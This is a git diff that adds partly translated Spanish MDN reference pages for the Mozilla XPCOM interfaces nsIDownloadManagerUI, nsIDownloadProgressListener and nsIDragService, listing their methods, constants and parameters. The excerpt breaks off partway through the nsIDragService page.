+</ul>
diff --git a/files/es/nsidownloadmanagerui/index.html b/files/es/nsidownloadmanagerui/index.html
new file mode 100644
index 0000000000..457e4adbe8
--- /dev/null
+++ b/files/es/nsidownloadmanagerui/index.html
@@ -0,0 +1,126 @@
+---
+title: nsIDownloadManagerUI
+slug: nsIDownloadManagerUI
+tags:
+  - Firefox 3
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI
+---
+<p> El interfaz <code>nsIDownloadManagerUI</code> se usa para implementar el interfaz del usuario del Administrador de Descargas. Si quieres reemplazar el interfaz de usuario por defecto del Administrador de Descargas, implementa este interfaz.</p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/downloads/public/nsIDownloadManagerUI.idl" rel="custom">toolkit/components/downloads/public/nsIDownloadManagerUI.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code></p>
+
+<h2 id="Resumen_del_m.C3.A9todo" name="Resumen_del_m.C3.A9todo">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#getAttention.28.29">getAttention</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#show.28.29">show</a>([optional] in <a href="es/NsIInterfaceRequestor">nsIInterfaceRequestor</a> aWindowContext, [optional] in unsigned long aID, [optional] in short aReason);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>visible</code></td>
+   <td><code>boolean</code></td>
+   <td>Este atributo de sólo lectura es <code>true</code> cuando el interfaz de usuario del Administrador de Descargas es visible, devolviendo <code>false</code> en caso contrario.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constantes" name="Constantes">Constantes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Valor</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>REASON_USER_INTERACTED</code></td>
+   <td>0</td>
+   <td>Cuando se abre el interfaz de usuario del Administrador de Descargas, este valor indica que se ha abierto por requerimiento del usuario.</td>
+  </tr>
+  <tr>
+   <td><code>REASON_NEW_DOWNLOAD</code></td>
+   <td>1</td>
+   <td>Cuando se abre el interfaz de usuario del Administrador de Descargas, este valor indica que el interfaz está visible porque se ha iniciado una nueva descarga.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="getAttention.28.29" name="getAttention.28.29">getAttention()</h3>
+
+<p>Llama la atención del interfaz de usuario del Administrador de Descargas si este está aún visible.</p>
+
+<pre class="eval"> void getAttention();
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<p>Ninguno.</p>
+
+<h6 id="Excepciones" name="Excepciones">Excepciones</h6>
+
+<dl>
+ <dt><code>NS_ERROR_UNEXPECTED</code></dt>
+ <dd>El interfaz no es actualmente visible.</dd>
+</dl>
+
+<h3 id="show.28.29" name="show.28.29">show()</h3>
+
+<p>Muestra el interfaz de usuario del Administrador de Descargas al usuario.</p>
+
+<pre class="eval"> void show(
+   [optional] in nsIInterfaceRequestor aWindowContext,
+   [optional] in unsigned long aID,
+   [optional] in short aReason
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>aWindowContext</dt>
+ <dd>La ventana padre que mostrará el interfaz. Con esta información, es posible poner el Administrador de Descargas en una pestaña de la misma ventana .</dd>
+ <dt>aID</dt>
+ <dd>El ID de la descarga que aparecerá preseleccionada cuando se abra el interfaz de usuario (UI) del administrador de Descargas.</dd>
+ <dt>aReason</dt>
+ <dd>Una de las razones (una <a href="#Constants">constantes</a>) indicando porqué debe ser mostrado el interfaz de usuario.</dd>
+</dl>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a href="es/Esquema_del_Administrador_de_descargas">Esquema_del_Administrador_de_descargas</a></li>
+</ul>
diff --git a/files/es/nsidownloadprogresslistener/index.html b/files/es/nsidownloadprogresslistener/index.html
new file mode 100644
index 0000000000..ba65413b73
--- /dev/null
+++ b/files/es/nsidownloadprogresslistener/index.html
@@ -0,0 +1,304 @@
+---
+title: nsIDownloadProgressListener
+slug: nsIDownloadProgressListener
+tags:
+  - Firefox 3
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener
+---
+<p>El interfaz <code>nsIDownloadProgressListener</code> da a las aplicaciones y extensiones una manera de vigilar el estado de las descargas que están siendo procesadas por el Administrador de Descargas. Simplemente implementa este interfaz en tu código y llama a la función <code><a href="es/NsIDownloadManager#addListener.28.29">addListener()</a></code> del <code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code> para empezar a escuchar.</p>
+
+<p>Cuando no necesites escuchar más al Administrador de Descargas, llama a la función <code><a href="es/NsIDownloadManager#removeListener.28.29">removeListener()</a></code> del <code>nsIDownloadManager</code> para detener la escucha.</p>
+
+<p>Al momento en que los estados de las descargan cambian, los métodos descritos aquí son llamados por el Administrador de Descargas para que tu código realice cualquier acción que necesite.</p>
+
+<p>Esta interfaz trabaja de forma similar a la interfaz <code><a href="es/NsIWebProgress">nsIWebProgress</a></code>.</p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/downloads/public/nsIDownloadProgressListener.idl" rel="custom">toolkit/components/downloads/public/nsIDownloadProgressListener.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code></p>
+
+<h2 id="Descripci.C3.B3n_del_m.C3.A9todo" name="Descripci.C3.B3n_del_m.C3.A9todo">Descripción del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#onDownloadStateChange.28.29">onDownloadStateChange</a>(in short aState, in nsIDownload aDownload)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#onProgressChange.28.29">onProgressChange</a>(in <a href="es/NsIWebProgress">nsIWebProgress</a> aWebProgress, in <a href="es/NsIRequest">nsIRequest</a> aRequest, in long long aCurSelfProgress, in long long aMaxSelfProgress, in long long aCurTotalProgress, in long long aMaxTotalProgress, in <a href="es/NsIDownload">nsIDownload</a> aDownload)</code></td>
+  </tr>
+  <tr>
+   <td><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> <code>void <a href="#onStatusChange.28.29">onStatusChange</a>(in <a href="es/NsIWebProgress">nsIWebProgress</a> aWebProgress, in <a href="es/NsIRequest">nsIRequest</a> aRequest, in <a href="es/Nsresult">nsresult</a> aStatus, in <a href="es/Wstring">wstring</a> aMessage, in <a href="es/NsIDownload">nsIDownload</a> aDownload)</code></td>
+  </tr>
+  <tr>
+   <td><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> <code>void <a href="#onLocationChange.28.29">onLocationChange</a>(in <a href="es/NsIWebProgress">nsIWebProgress</a> aWebProgress, in <a href="es/NsIRequest">nsIRequest</a> aRequest, in <a href="es/NsIURI">nsIURI</a> aLocation, in <a href="es/NsIDownload">nsIDownload</a> aDownload)</code>x</td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#onSecurityChange.28.29">onSecurityChange</a>(in <a href="es/NsIWebProgress">nsIWebProgress</a> aWebProgress, in <a href="es/NsIRequest">nsIRequest</a> aRequest, in unsigned long aState, in <a href="es/NsIDownload">nsIDownload</a> aDownload)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>document</code></td>
+   <td><code><a href="es/NsIDOMDocument">nsIDOMDocument</a></code></td>
+   <td>El objeto documento que representa la ventana del Administrador de Descargas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="onDownloadStateChange.28.29" name="onDownloadStateChange.28.29">onDownloadStateChange()</h3>
+
+<p>Es llamado cuando el estado de una descarga en particular cambia.</p>
+
+<pre class="eval"> void onDownloadStateChange(
+   in short aState,
+   in nsIDownload aDownload
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aState</dt>
+ <dd>El estado previo de la descarga. Ver <code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code> para una <a href="es/NsIDownloadManager#Constants">lista de valores posibles</a>.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>El objeto <code><a href="es/NsIDownload">nsIDownload</a></code> que representa el archivo cuyo estado de descarga ha cambiado. Puedes obtener el nuevo estado de la descarga con este método.</dd>
+</dl>
+
+<h3 id="onStateChange.28.29" name="onStateChange.28.29">onStateChange()</h3>
+
+<p>Llamado cuando cambia el estado de una descarga en particular.</p>
+
+<pre class="eval"> void onStateChange(
+   in nsIWebProgress aWebProgress,
+   in nsIRequest aRequest,
+   in unsigned long aStateFlags,
+   in nsresult aStatus,
+   in nsIDownload aDownload
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>aWebProgress</dt>
+ <dd>La instancia <code><a href="es/NsIWebProgress">nsIWebProgress</a></code> que usa el Administrador de Descargas para vigilar la descarga.</dd>
+</dl>
+
+<dl>
+ <dt>aRequest</dt>
+ <dd>El <code><a href="es/NsIChannel">nsIChannel</a></code> cuyo estado cambia. Éste parámetro no será <code>NULL</code>.</dd>
+</dl>
+
+<dl>
+ <dt>aStateFlags</dt>
+ <dd>Flags indicandoel nuevo estado de la descarga. Este valores una combinación de uno de los <a href="es/NsIWebProgressListener#State_Transition_Flags">state transition flags</a> documentados en la sección <code><a href="es/NsIWebProgressListener">nsIWebProgressListener</a></code>.</dd>
+</dl>
+
+<dl>
+ <dt>aStatus</dt>
+ <dd>La información del nuevo estado de la descarga. Ver The new state information for the download. See <a href="es/NsIWebProgressListener#onStateChange"><code>onStateChange()</code> en <code>nsIWebProgressListener</code></a> para más detalles. También puede ser una constante de <code><a href="es/NsIDownloadManager#Constants">nsIDownloadManager</a></code> state constants.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>La descarga cuyo estado ha cambiado.</dd>
+</dl>
+
+<h3 id="onProgressChange.28.29" name="onProgressChange.28.29">onProgressChange()</h3>
+
+<p>Llamado cuando el nivel de progreso de la descarga cambia.</p>
+
+<pre class="eval"> void onProgressChange(
+   in nsIWebProgress aWebProgress,
+   in nsIRequest aRequest,
+   in long long aCurSelfProgress,
+   in long long aMaxSelfProgress,
+   in long long aCurTotalProgress,
+   in long long aMaxTotalProgress,
+   in nsIDownload aDownload
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>aWebProgress</dt>
+ <dd>La instancia <code><a href="es/NsIWebProgress">nsIWebProgress</a></code> usada por el Administrador de Descargas para vigilar las descargas.</dd>
+</dl>
+
+<dl>
+ <dt>aRequest</dt>
+ <dd>El <code><a href="es/NsIChannel">nsIChannel</a></code> que ha cambiado de estado. Este parámetro no será <code>NULL</code>.</dd>
+</dl>
+
+<dl>
+ <dt>aCurSelfProgress</dt>
+ <dd>La cantidad actual de progreso de la descarga especificada por aDownload.</dd>
+</dl>
+
+<dl>
+ <dt>aMaxSelfProgress</dt>
+ <dd>El valor de progreso que debe alcanzarse para dar por finalizada la descarga.</dd>
+</dl>
+
+<dl>
+ <dt>aCurTotalProgress</dt>
+ <dd>La cantidad actual de progreso que se ha hecho en todas las descargas.</dd>
+</dl>
+
+<dl>
+ <dt>aMaxTotalProgress</dt>
+ <dd>El valor que necesita alcanzar el progreso total para determinar que todas las descargas están completadas.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>El objeto <code><a href="es/NsIDownload">nsIDownload</a></code> cuyo progreso está representado por los parámetros aCurSelfProgress y aMaxSelfProgress.</dd>
+</dl>
+
+<h3 id="onStatusChange.28.29" name="onStatusChange.28.29">onStatusChange()</h3>
+
+<p>Llamado cuando el estado de una descarga solicita un cambio. El mensaje de estado recibido se quiere que sea bien visible al usuario.</p>
+
+<div class="warning"><strong>Atención:</strong> Este método ya no está en Firefox 3 (Gecko 1.9). En versiones anteriores, este método nunca fue usado.</div>
+
+<pre class="eval"> void onStatusChange(
+   in nsIWebProgress aWebProgress,
+   in nsIRequest aRequest,
+   in nsresult aStatus,
+   in wstring aMessage,
+   in nsIDownload aDownload
+ );
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt>aWebProgress</dt>
+ <dd>La instancia <code><a href="es/NsIWebProgress">nsIWebProgress</a></code> usada por el Administrador de Descargas para vigilar las descargas.</dd>
+</dl>
+
+<dl>
+ <dt>nsIChannel</dt>
+ <dd>El <code><a href="es/NsIRequest">nsIRequest</a></code> que cambia de estado. Este parámetro no será <code>NULL</code>.</dd>
+</dl>
+
+<dl>
+ <dt>aStatus</dt>
+ <dd>La información del nuevo estado de la descarga. Ver <a href="es/NsIWebProgressListener#onStateChange"><code>onStateChange()</code></a> en <code>nsIWebProgressListener</code> para más detalles.</dd>
+</dl>
+
+<dl>
+ <dt>aMessage</dt>
+ <dd>Un mensaje de estado legible por el usuario, que se quiere presentar muy visible en la pantalla.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>La descarga cuyo estado ha cambiado.</dd>
+</dl>
+
+<h3 id="onLocationChange.28.29" name="onLocationChange.28.29">onLocationChange()</h3>
+
+<div class="warning"><strong>Atención:</strong> Este método ya no está en Firefox 3 (Gecko 1.9). En versiones anteriores, este método nunca fue usado.</div>
+
+<pre class="eval"> void onLocationChange(
+   in nsIWebProgress aWebProgress,
+   in nsIRequest aRequest,
+   in nsIURI aLocation,
+   in nsIDownload aDownload
+ );
+</pre>
+
+<p> </p>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<dl>
+ <dt>aWebProgress</dt>
+ <dd>La instancia <code><a href="es/NsIWebProgress">nsIWebProgress</a></code> usada por el Administrador de Descargas para vigilar las descargas.</dd>
+</dl>
+
+<dl>
+ <dt>aRequest</dt>
+ <dd>El <code><a href="es/NsIChannel">nsIChannel</a></code> que ha cambiado de estado. Este parámetro no será <code>NULL</code>.</dd>
+</dl>
+
+<dl>
+ <dt>aLocation</dt>
+ <dd>La URI del archivo que se está descargando.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>El objeto <code><a href="es/NsIDownload">nsIDownload</a></code> que representa el archivo que se está descargando.</dd>
+</dl>
+
+<h3 id="onSecurityChange.28.29" name="onSecurityChange.28.29">onSecurityChange()</h3>
+
+<p>Llamado cuando el nivel de seguridad usado mientras se hace la descarga cambia. Por ejemplo, si la petición inicial se ha hecho en un servidor HTTPS pero la descarga cambia a un servidor HTTP, esta función es llamada para avisar de la transición</p>
+
+<pre class="eval"> void onSecurityChange(
+   in nsIWebProgress aWebProgress,
+   in nsIRequest aRequest,
+   in unsigned long aState,
+   in nsIDownload aDownload
+ );
+
+</pre>
+
+<h6 id="Par.C3.A1metros_6" name="Par.C3.A1metros_6">Parámetros</h6>
+
+<dl>
+ <dt>aWebProgress</dt>
+ <dd>La instancia <code><a href="es/NsIWebProgress">nsIWebProgress</a></code> usada por el Administrador de Descargas para vigilar las descargas.</dd>
+</dl>
+
+<dl>
+ <dt>aRequest</dt>
+ <dd>El <code><a href="es/NsIChannel">nsIChannel</a></code> que cambia de estado. Este parámetro no será <code>NULL</code>.</dd>
+</dl>
+
+<dl>
+ <dt>aState</dt>
+ <dd>El nuevo estado de la descarga. Ver <code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code> para una <a href="es/NsIDownloadManager#Constants">lista de valores posibles</a>.</dd>
+</dl>
+
+<dl>
+ <dt>aDownload</dt>
+ <dd>La descarga cuyo nivel de seguridad ha cambiado.</dd>
+</dl>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<p><code><a href="es/NsIDownloadManager">nsIDownloadManager</a></code>, <code><a href="es/NsIDownload">nsIDownload</a></code>, <code><a href="es/NsIWebProgressListener">nsIWebProgressListener</a></code></p>
diff --git a/files/es/nsidragservice/index.html b/files/es/nsidragservice/index.html
new file mode 100644
index 0000000000..89c629f87e
--- /dev/null
+++ b/files/es/nsidragservice/index.html
@@ -0,0 +1,317 @@
+---
+title: nsIDragService
+slug: nsIDragService
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDragService
+---
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/nsIDragService.idl" rel="custom">widget/nsIDragService.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+Implements the Drag Service for handling drag and drop operations.
+</span>
+
+<div style="background: #eee; padding: 2px;">
+Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>
+<span style="text-align: right; float: right;">Last changed in Gecko 43 (Firefox 43 / Thunderbird 43 / SeaMonkey 2.40)</span></div>
+</div><p></p>
+
+<div class="note"><strong>Note:</strong> Using this interface directly from add-on code is deprecated. Add-ons should use the standard <a href="/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>dataTransfer</code></a> drag and drop API instead. The only exception is <code><a href="https://developer.mozilla.org/es/docs/nsIDragService#getCurrentSession()">getCurrentSession()</a></code>, since there's currently no way to check for a drag in progress using standard DOM methods or properties.</div>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#endDragSession()">endDragSession</a>( in PRBool aDoneDrag ) ;</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/XPCOM_Interface_Reference/nsIDragService#dragMoved()" title="en/nsIDragService#dragMoved()">dragMoved</a>(in long aX, in long aY);</code>  <span class="inlineIndicator noscript noscriptInline" title="This method may only be called from C++; don't use it from JavaScript.">Native code only!</span></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#fireDragEventAtSource()">fireDragEventAtSource</a>(in unsigned long aMsg);</code>  <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 43 / Thunderbird 43 / SeaMonkey 2.40)">Obsoleto Gecko 43</span></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#fireDragEventAtSource()">fireDragEventAtSource</a>(in mozilla::EventMessage aEventMessage);</code>  <span class="inlineIndicator noscript noscriptInline" title="This method may only be called from C++; don't use it from JavaScript.">Native code only!</span></td>
+  </tr>
+  <tr>
+   <td><code>nsIDragSession <a href="#getCurrentSession()">getCurrentSession</a>( ) ;</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#invokeDragSession()">invokeDragSession</a>( in nsIDOMNode aDOMNode, in nsISupportsArray aTransferables, in nsIScriptableRegion aRegion, in unsigned long aActionType );</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#invokeDragSessionWithImage()">invokeDragSessionWithImage</a>(in nsIDOMNode aDOMNode, in nsISupportsArray aTransferableArray, in nsIScriptableRegion aRegion, in unsigned long aActionType, in nsIDOMNode aImage, in long aImageX, in long aImageY, in nsIDOMDragEvent aDragEvent, in nsIDOMDataTransfer aDataTransfer);</code> </td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#invokeDragSessionWithSelection()">invokeDragSessionWithSelection</a>(in nsISelection aSelection, in nsISupportsArray aTransferableArray, in unsigned long aActionType, in nsIDOMDragEvent aDragEvent, in nsIDOMDataTransfer aDataTransfer);</code> </td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#startDragSession()">startDragSession</a>( ) ;</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#suppress()">suppress</a>();</code> </td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#unsuppress()">unsuppress</a>();</code> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants" name="Constants">Constants</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>DRAGDROP_ACTION_NONE</code></td>
+   <td><code>0</code></td>
+   <td>No action.</td>
+  </tr>
+  <tr>
+   <td><code>DRAGDROP_ACTION_COPY</code></td>
+   <td><code>1</code></td>
+   <td>The drag and drop operation should copy the object.</td>
+  </tr>
+  <tr>
+   <td><code>DRAGDROP_ACTION_MOVE</code></td>
+   <td><code>2</code></td>
+   <td>The drag and drop operation should move the object.</td>
+  </tr>
+  <tr>
+   <td><code>DRAGDROP_ACTION_LINK</code></td>
+   <td><code>4</code></td>
+   <td>The drag and drop operation should link the object.</td>
+  </tr>
+  <tr>
+   <td><code>DRAGDROP_ACTION_UNINITIALIZED</code></td>
+   <td><code>64</code></td>
+   <td>The action is not initialized. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<p></p><div><span class="indicatorInHeadline noscript noscriptMethod" title="This method may only be called from C++; don't use it from JavaScript.">Native code only!</span><h3 id="dragMoved">dragMoved</h3></div><p></p>
+
+<p></p>
+
+<p>Programmatically changes the drag position of the drag session. This is used on Mac and Windows to update the position of a popup being used as a drag image during the drag operation. It's not used on GTK, which handles the drag popup itself.</p>
+
+<pre>[noscript] void dragMoved(
+  in long aX,
+  in long aY
+);
+</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aX</code></dt>
+ <dd>The X coordinate to which to move the popup being dragged.</dd>
+ <dt><code>aY</code></dt>
+ <dd>The Y coordinate to which to move the popup being dragged.</dd>
+</dl>
+
+<h3 id="endDragSession()" name="endDragSession()">endDragSession()</h3>
+
+<p>Tells the Drag Service to end a drag session. This is called when an external drag occurs.</p>
+
+<pre class="eval">void endDragSession(
+  in PRBool aDoneDrag
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aDoneDrag </code> </dt>
+ <dd>If <code>aDoneDrag</code> is <code>true</code>, the drag has finished, otherwise the drag has just left the window.</dd>
+</dl>
+
+<h3 id="fireDragEventAtSource()">fireDragEventAtSource()</h3>
+
+<p></p><div class="blockIndicator obsolete obsoleteHeader"><p><strong><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsoleto Gecko 43 (Firefox 43 / Thunderbird 43 / SeaMonkey 2.40)</strong><br>Esta funcionalidad es obsoleta. Aunque puede aún funcionar en algunos navegadores, se desalienta su uso ya que puede ser removida en cualquier momento. Evite usarla.</p></div><p></p>
+
+<p>Fire a drag event at the source of the drag. This was changed in Gecko 43, see the following section.</p>
+
+<pre class="eval">void fireDragEventAtSource(
+  in unsigned long aMsg
+); <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 43 / Thunderbird 43 / SeaMonkey 2.40)">Obsoleto Gecko 43</span>
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aMsg</code></dt>
+ <dd>One of the <code>NS_DRAGDROP_*</code> contants which was defined in <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/BasicEvents.h" rel="custom">widget/BasicEvents.h</a></code></dd>
+</dl>
+
+<p></p>
+
+<p>Fire a drag event at the fource of the drag. This is available only from native code since Gecko 43.</p>
+
+<pre>[noscript] void fireDragEventAtSource(
+  in mozilla::EventMessage aEventMessage
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aEventMessage</code></dt>
+ <dd>One of the event messages between <code>eDragDropEventFirst</code> and <code>eDragDropEventLast</code> defined in <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/EventMessageList.h" rel="custom">widget/EventMessageList.h</a></code></dd>
+</dl>
+
+<h3 id="getCurrentSession()" name="getCurrentSession()">getCurrentSession()</h3>
+
+<p>Returns the current <a href="/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDragSession">nsIDragSession</a>.</p>
+
+<pre class="eval">nsIDragSession getCurrentSession();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>The current drag session, or null if no drag is in progress.</p>
+
+<h3 id="invokeDragSession()" name="invokeDragSession()">invokeDragSession()</h3>
+
+<p>Starts a modal drag session with an array of transferables</p>
+
+<pre class="eval">void invokeDragSession(
+  in nsIDOMNode aDOMNode,
+  in nsISupportsArray aTransferables,
+  in nsIScriptableRegion aRegion,
+  in unsigned long aActionType
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aDOMNode</code></dt>
+ <dd>The source node on which the drag gesture was started.</dd>
+ <dt><code>aTransferables</code></dt>
+ <dd>An array of transferables to be dragged.</dd>
+ <dt><code>aRegion</code></dt>
+ <dd>A region containing rectangles for cursor feedback, in window coordinates.</dd>
+ <dt><code>aActionType</code></dt>
+ <dd>Specified which of copy/move/link are allowed.</dd>
+</dl>
+
+<p></p><h3 id="invokeDragSessionWithImage()">invokeDragSessionWithImage()</h3><p></p>
+
+<p>Starts a modal drag session using an image.</p>
+
+<p>A custom image may be specified using the <code>aImage</code> argument. If this is supplied, the <code>aImageX</code> and <code>aImageY</code> arguments specify the offset within the image where the cursor would be positioned. That is, when the image is drawn, it is offset up and left the amount so that the cursor appears at that location within the image. If <code>aImage</code> is <code>null</code>, <code>aImageX</code> and <code>aImageY</code> are not used and the image is instead determined from the source node <code>aDOMNode</code>, and the offset calculated so that the initial location for the image appears in the same screen position as where the element is located. The node must be within a document.</p>
+
+<p>Currently, supported images are all DOM nodes. If this is an HTML <code>&lt;image&gt;</code> or <code>&lt;canvas&gt;</code> element, the drag image is taken from the image data. If the element is in a document, it will be rendered at its displayed size, otherwise, it will be rendered at its real size. For other types of elements, the element is rendered into an offscreen buffer in the same manner as it is currently displayed. The document selection is hidden while drawing. The <code>aDragEvent</code> must be supplied as the current screen coordinates of the event are needed to calculate the image location.</p>
+
+<pre class="eval">void invokeDragSessionWithImage(
+  in nsIDOMNode aDOMNode,
+  in nsISupportsArray aTransferableArray,
+  in nsIScriptableRegion aRegion,
+  in unsigned long aActionType,
+  in nsIDOMNode aImage,
+  in long aImageX,
+  in long aImageY,
+  in nsIDOMDragEvent aDragEvent,
+  in nsIDOMDataTransfer aDataTransfer
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aDOMNode</code></dt>
+ <dd>The source node on which the drag gesture was started.</dd>
+ <dt><code>aTransferables</code></dt>
+ <dd>An array of transferables to be dragged.</dd>
+ <dt><code>aRegion</code></dt>
+ <dd>A region containing rectangles for cursor feedback, in window coordinates.</dd>
+ <dt><code>aActionType</code></dt>
+ <dd>Specified which of copy/move/link are allowed.</dd>
+ <dt><code>aImage</code></dt>
+ <dd>Image object.</dd>
+ <dt><code>aImageX</code></dt>
+ <dd>X position of image.</dd>
+ <dt><code>aImageY</code></dt>
+ <dd>Y position of image.</dd>
+ <dt><code>aDragEvent</code></dt>
+ <dd>The drag gesture event that initiated the drag.</dd>
+ <dt><code>aDataTransfer</code> </dt>
+ <dd>A data transfer object that is available on the current drag session.</dd>
+</dl>
+
+<p></p><h3 id="invokeDragSessionWithSelection()">invokeDragSessionWithSelection()</h3><p></p>
+
